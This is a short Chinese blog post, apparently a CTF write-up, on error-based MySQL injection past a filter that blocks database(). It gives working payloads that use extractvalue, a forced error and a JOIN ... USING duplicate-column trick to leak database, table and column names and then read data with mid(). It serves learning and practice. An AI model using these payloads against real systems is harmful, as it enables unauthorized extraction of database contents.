mysql注入可报错时爆表名、字段名、库名 – Wupco's Blog
又是sql注入
来做一些吧 这里我们可以很快就获取注入点
抓包开干
开fuzz
过滤很多东西哦 database都过滤了 那么要咋弄啊。。。
绕过database()
这里其实我们可以通过报错来实现
1'|a()%23
数据库名这不就来了
然后我们就可以开始查了
在fuzz的时候
发现extractvalue没有过滤 那么这不就来了 报错注入 启动!
开冲
1'||extractvalue(1,0x7e)#
报表
1'||extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema like 'sqlsql')))#
XPATH syntax error: '~Fal_flag,output'
1'||extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name like 'sqlsql')))#
捏妈 裂开 才启动一下就停止了
起码得到表了
现在我们就要想如何获取字段呢
现在就是开头那篇文章的用法了
介绍一下吧
select * from (SELECT * from admin a JOIN admin b)as c
这里就会爆出 第一个字段
然后通过using 指定id 就可以爆出下一个
这样这道题不是就简单了
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c)))#
Duplicate column name 'i_tell_u_this_is_Fal(se)_flag_is_in_another'
发现不是这个
那么就去爆另一个吧
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from output a join output b using(data)) c)))#
出来了耶 然后我们正常mid截取即可
tt=1'||extractvalue(1,concat(0x7e,mid((select data from output),1,30)))#
这里学到了很多耶 报错什么的